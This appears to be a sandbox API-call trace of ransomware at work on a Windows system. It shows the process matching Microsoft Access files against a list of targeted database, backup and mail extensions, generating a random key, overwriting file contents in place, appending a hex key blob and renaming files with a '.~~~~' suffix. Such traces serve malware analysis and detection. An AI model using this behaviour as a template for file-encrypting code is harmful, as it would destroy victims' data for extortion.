	[0146.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".edb") returned 0x0
	[0146.868] lstrlenW (lpString=".PST") returned 4
	[0146.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".PST") returned 0x0
	[0146.868] lstrlenW (lpString=".dbf") returned 4
	[0146.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".dbf") returned 0x0
	[0146.868] lstrlenW (lpString=".SQL") returned 4
	[0146.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".SQL") returned 0x0
	[0146.869] lstrlenW (lpString=".pst") returned 4
	[0146.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".pst") returned 0x0
	[0146.869] lstrlenW (lpString=".dbv") returned 4
	[0146.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".dbv") returned 0x0
	[0146.869] lstrlenW (lpString=".SDF") returned 4
	[0146.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".SDF") returned 0x0
	[0146.869] lstrlenW (lpString=".dtxs") returned 5
	[0146.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".dtxs") returned 0x0
	[0146.869] lstrlenW (lpString=".db3") returned 4
	[0146.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".db3") returned 0x0
	[0146.869] lstrlenW (lpString=".OST") returned 4
	[0146.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".OST") returned 0x0
	[0146.869] lstrlenW (lpString=".dbx") returned 4
	[0146.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".dbx") returned 0x0
	[0146.869] lstrlenW (lpString=".DB3") returned 4
	[0146.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".DB3") returned 0x0
	[0146.869] lstrlenW (lpString=".DAT") returned 4
	[0146.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".DAT") returned 0x0
	[0146.869] lstrlenW (lpString=".VHDX") returned 5
	[0146.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".VHDX") returned 0x0
	[0146.869] lstrlenW (lpString=".ndf") returned 4
	[0146.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".ndf") returned 0x0
	[0146.869] lstrlenW (lpString=".DB") returned 3
	[0146.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".DB") returned 0x0
	[0146.869] lstrlenW (lpString=".sql") returned 4
	[0146.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".sql") returned 0x0
	[0146.869] lstrlenW (lpString=".MYD") returned 4
	[0146.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".MYD") returned 0x0
	[0146.870] lstrlenW (lpString=".DBT") returned 4
	[0146.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".DBT") returned 0x0
	[0146.870] lstrlenW (lpString=".ACCDB") returned 6
	[0146.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".ACCDB") returned 0x0
	[0146.870] lstrlenW (lpString=".fdb") returned 4
	[0146.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".fdb") returned 0x0
	[0146.870] lstrlenW (lpString=".bak") returned 4
	[0146.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".bak") returned 0x0
	[0146.870] lstrlenW (lpString=".myd") returned 4
	[0146.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".myd") returned 0x0
	[0146.870] lstrlenW (lpString=".DTXS") returned 5
	[0146.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".DTXS") returned 0x0
	[0146.870] lstrlenW (lpString=".ckp") returned 4
	[0146.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".ckp") returned 0x0
	[0146.870] lstrlenW (lpString=".dbt") returned 4
	[0146.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".dbt") returned 0x0
	[0146.870] lstrlenW (lpString=".db") returned 3
	[0146.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".db") returned 0x0
	[0146.870] lstrlenW (lpString=".TXT") returned 4
	[0146.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".TXT") returned 0x0
	[0146.870] lstrlenW (lpString=".MDF") returned 4
	[0146.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".MDF") returned 0x0
	[0146.870] lstrlenW (lpString=".bdb") returned 4
	[0146.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".bdb") returned 0x0
	[0146.870] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0146.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.871] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x396598) returned 1
	[0146.872] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.872] CryptReleaseContext (hProv=0x396598, dwFlags=0x0) returned 1
	[0146.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0146.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0146.872] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26686225678) returned 1
	[0146.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc0f30c90, dwHighDateTime=0x1d60e1e)) 
	[0146.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0146.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0146.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0146.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380628
	[0146.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380628 | out: hHeap=0x300000) returned 1
	[0146.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0146.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870560
	[0146.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.873] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0146.873] GetLastError () returned 0x0
	[0146.874] GetLastError () returned 0x0
	[0146.874] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0146.874] GetLastError () returned 0x0
	[0146.874] GetLastError () returned 0x0
	[0146.874] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.879] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.879] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.880] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.880] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.887] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.887] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.887] CloseHandle (hObject=0x138) returned 1
	[0146.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aca58
	[0146.888] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde.~~~~")) returned 1
	[0146.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0146.891] GetLastError () returned 0x0
	[0146.891] RtlWakeConditionVariable () returned 0x0
	[0146.891] GetCurrentThreadId () returned 0x9cc
	[0146.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".scr") returned 0x0
	[0146.891] lstrlenW (lpString=".cmd") returned 4
	[0146.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".cmd") returned 0x0
	[0146.891] lstrlenW (lpString=".dll") returned 4
	[0146.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".dll") returned 0x0
	[0146.891] lstrlenW (lpString=".bat") returned 4
	[0146.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".bat") returned 0x0
	[0146.891] lstrlenW (lpString=".cpl") returned 4
	[0146.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".cpl") returned 0x0
	[0146.891] lstrlenW (lpString=".sys") returned 4
	[0146.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".sys") returned 0x0
	[0146.891] lstrlenW (lpString=".msc") returned 4
	[0146.891] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".msc") returned 0x0
	[0146.891] lstrlenW (lpString=".com") returned 4
	[0146.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".com") returned 0x0
	[0146.892] lstrlenW (lpString=".lnk") returned 4
	[0146.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".lnk") returned 0x0
	[0146.892] lstrlenW (lpString=".msp") returned 4
	[0146.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".msp") returned 0x0
	[0146.892] lstrlenW (lpString=".pif") returned 4
	[0146.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".pif") returned 0x0
	[0146.892] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.892] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch="msp\r\n.pif") returned 0x0
	[0146.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0146.894] lstrlenW (lpString=".sqb") returned 4
	[0146.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".sqb") returned 0x0
	[0146.894] lstrlenW (lpString=".ost") returned 4
	[0146.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".ost") returned 0x0
	[0146.894] lstrlenW (lpString=".txt") returned 4
	[0146.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".txt") returned 0x0
	[0146.894] lstrlenW (lpString=".mdt") returned 4
	[0146.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".mdt") returned 0x0
	[0146.894] lstrlenW (lpString=".BDB") returned 4
	[0146.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".BDB") returned 0x0
	[0146.894] lstrlenW (lpString=".eql") returned 4
	[0146.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".eql") returned 0x0
	[0146.894] lstrlenW (lpString=".DBF") returned 4
	[0146.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".DBF") returned 0x0
	[0146.894] lstrlenW (lpString=".EQL") returned 4
	[0146.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".EQL") returned 0x0
	[0146.894] lstrlenW (lpString=".FDB") returned 4
	[0146.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".FDB") returned 0x0
	[0146.894] lstrlenW (lpString=".EDB") returned 4
	[0146.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".EDB") returned 0x0
	[0146.894] lstrlenW (lpString=".DACPAC") returned 7
	[0146.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".DACPAC") returned 0x0
	[0146.895] lstrlenW (lpString=".VHD") returned 4
	[0146.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".VHD") returned 0x0
	[0146.895] lstrlenW (lpString=".DBV") returned 4
	[0146.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".DBV") returned 0x0
	[0146.895] lstrlenW (lpString=".dacpac") returned 7
	[0146.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".dacpac") returned 0x0
	[0146.895] lstrlenW (lpString=".sdf") returned 4
	[0146.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".sdf") returned 0x0
	[0146.895] lstrlenW (lpString=".accdb") returned 6
	[0146.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".accdb") returned 0x0
	[0146.895] lstrlenW (lpString=".DBX") returned 4
	[0146.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".DBX") returned 0x0
	[0146.895] lstrlenW (lpString=".MDT") returned 4
	[0146.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".MDT") returned 0x0
	[0146.895] lstrlenW (lpString=".SQB") returned 4
	[0146.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".SQB") returned 0x0
	[0146.895] lstrlenW (lpString=".vhd") returned 4
	[0146.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".vhd") returned 0x0
	[0146.895] lstrlenW (lpString=".bac") returned 4
	[0146.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".bac") returned 0x0
	[0146.895] lstrlenW (lpString=".mdf") returned 4
	[0146.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".mdf") returned 0x0
	[0146.895] lstrlenW (lpString=".BAK") returned 4
	[0146.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".BAK") returned 0x0
	[0146.895] lstrlenW (lpString=".BAC") returned 4
	[0146.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".BAC") returned 0x0
	[0146.895] lstrlenW (lpString=".dbs") returned 4
	[0146.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".dbs") returned 0x0
	[0146.896] lstrlenW (lpString=".vhdx") returned 5
	[0146.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".vhdx") returned 0x0
	[0146.896] lstrlenW (lpString=".NDF") returned 4
	[0146.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".NDF") returned 0x0
	[0146.896] lstrlenW (lpString=".dat") returned 4
	[0146.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".dat") returned 0x0
	[0146.896] lstrlenW (lpString=".DBS") returned 4
	[0146.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".DBS") returned 0x0
	[0146.896] lstrlenW (lpString=".CKP") returned 4
	[0146.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".CKP") returned 0x0
	[0146.896] lstrlenW (lpString=".edb") returned 4
	[0146.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".edb") returned 0x0
	[0146.896] lstrlenW (lpString=".PST") returned 4
	[0146.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".PST") returned 0x0
	[0146.896] lstrlenW (lpString=".dbf") returned 4
	[0146.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".dbf") returned 0x0
	[0146.896] lstrlenW (lpString=".SQL") returned 4
	[0146.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".SQL") returned 0x0
	[0146.896] lstrlenW (lpString=".pst") returned 4
	[0146.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".pst") returned 0x0
	[0146.896] lstrlenW (lpString=".dbv") returned 4
	[0146.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".dbv") returned 0x0
	[0146.896] lstrlenW (lpString=".SDF") returned 4
	[0146.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".SDF") returned 0x0
	[0146.897] lstrlenW (lpString=".dtxs") returned 5
	[0146.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".dtxs") returned 0x0
	[0146.897] lstrlenW (lpString=".db3") returned 4
	[0146.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".db3") returned 0x0
	[0146.897] lstrlenW (lpString=".OST") returned 4
	[0146.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".OST") returned 0x0
	[0146.897] lstrlenW (lpString=".dbx") returned 4
	[0146.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".dbx") returned 0x0
	[0146.897] lstrlenW (lpString=".DB3") returned 4
	[0146.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".DB3") returned 0x0
	[0146.897] lstrlenW (lpString=".DAT") returned 4
	[0146.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".DAT") returned 0x0
	[0146.897] lstrlenW (lpString=".VHDX") returned 5
	[0146.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".VHDX") returned 0x0
	[0146.897] lstrlenW (lpString=".ndf") returned 4
	[0146.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".ndf") returned 0x0
	[0146.897] lstrlenW (lpString=".DB") returned 3
	[0146.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".DB") returned 0x0
	[0146.897] lstrlenW (lpString=".sql") returned 4
	[0146.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".sql") returned 0x0
	[0146.897] lstrlenW (lpString=".MYD") returned 4
	[0146.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".MYD") returned 0x0
	[0146.897] lstrlenW (lpString=".DBT") returned 4
	[0146.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".DBT") returned 0x0
	[0146.897] lstrlenW (lpString=".ACCDB") returned 6
	[0146.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".ACCDB") returned 0x0
	[0146.898] lstrlenW (lpString=".fdb") returned 4
	[0146.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".fdb") returned 0x0
	[0146.898] lstrlenW (lpString=".bak") returned 4
	[0146.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", lpSrch=".bak") returned 0x0
	[0146.898] lstrlenW (lpString=".myd") returned 4
